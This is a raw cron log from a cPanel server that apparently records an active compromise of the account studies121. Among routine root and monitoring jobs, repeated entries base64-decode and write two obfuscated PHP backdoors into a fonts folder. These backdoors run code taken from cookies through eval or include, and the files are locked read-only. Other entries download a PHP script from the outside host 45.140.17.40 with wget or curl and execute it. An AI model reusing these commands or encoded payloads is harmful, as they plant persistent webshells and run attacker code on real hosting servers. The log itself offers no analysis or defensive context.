Sep  5 19:39:01 ip-184-168-122-23 CROND[15790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:40:01 ip-184-168-122-23 CROND[15969]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:40:01 ip-184-168-122-23 CROND[15974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:40:01 ip-184-168-122-23 CROND[15977]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:40:01 ip-184-168-122-23 CROND[15973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:40:01 ip-184-168-122-23 CROND[15975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:40:01 ip-184-168-122-23 CROND[15976]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:40:01 ip-184-168-122-23 CROND[15978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:40:01 ip-184-168-122-23 CROND[15972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:41:01 ip-184-168-122-23 CROND[16071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:41:01 ip-184-168-122-23 CROND[16073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:41:01 ip-184-168-122-23 CROND[16072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:41:01 ip-184-168-122-23 CROND[16074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:42:01 ip-184-168-122-23 CROND[16166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:42:01 ip-184-168-122-23 CROND[16167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:42:01 ip-184-168-122-23 CROND[16169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:42:01 ip-184-168-122-23 CROND[16168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:42:01 ip-184-168-122-23 CROND[16170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:43:01 ip-184-168-122-23 CROND[16252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:43:01 ip-184-168-122-23 CROND[16254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:43:01 ip-184-168-122-23 CROND[16258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:43:01 ip-184-168-122-23 CROND[16257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:44:01 ip-184-168-122-23 CROND[16357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:44:01 ip-184-168-122-23 CROND[16359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:44:01 ip-184-168-122-23 CROND[16360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:44:01 ip-184-168-122-23 CROND[16362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:44:01 ip-184-168-122-23 CROND[16361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:45:01 ip-184-168-122-23 CROND[16536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:45:01 ip-184-168-122-23 CROND[16538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:45:01 ip-184-168-122-23 CROND[16537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:45:01 ip-184-168-122-23 CROND[16539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:45:01 ip-184-168-122-23 CROND[16540]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:45:01 ip-184-168-122-23 CROND[16541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:46:01 ip-184-168-122-23 CROND[16633]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:46:01 ip-184-168-122-23 CROND[16636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:46:01 ip-184-168-122-23 CROND[16638]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 19:46:01 ip-184-168-122-23 CROND[16635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:46:01 ip-184-168-122-23 CROND[16639]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 19:46:01 ip-184-168-122-23 CROND[16640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:46:01 ip-184-168-122-23 CROND[16637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:47:01 ip-184-168-122-23 CROND[16735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:47:01 ip-184-168-122-23 CROND[16734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:47:01 ip-184-168-122-23 CROND[16736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:47:01 ip-184-168-122-23 CROND[16737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:48:01 ip-184-168-122-23 CROND[16825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:48:01 ip-184-168-122-23 CROND[16828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:48:01 ip-184-168-122-23 CROND[16827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:48:01 ip-184-168-122-23 CROND[16830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:48:01 ip-184-168-122-23 CROND[16829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:49:01 ip-184-168-122-23 CROND[16919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:49:01 ip-184-168-122-23 CROND[16922]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 19:49:01 ip-184-168-122-23 CROND[16923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:49:01 ip-184-168-122-23 CROND[16921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:49:01 ip-184-168-122-23 CROND[16920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:50:01 ip-184-168-122-23 CROND[17104]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 19:50:01 ip-184-168-122-23 CROND[17106]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:50:01 ip-184-168-122-23 CROND[17107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:50:01 ip-184-168-122-23 CROND[17109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:50:01 ip-184-168-122-23 CROND[17111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:50:01 ip-184-168-122-23 CROND[17112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:50:01 ip-184-168-122-23 CROND[17115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:50:01 ip-184-168-122-23 CROND[17116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:50:01 ip-184-168-122-23 CROND[17113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:51:01 ip-184-168-122-23 CROND[17231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:51:01 ip-184-168-122-23 CROND[17232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:51:01 ip-184-168-122-23 CROND[17234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
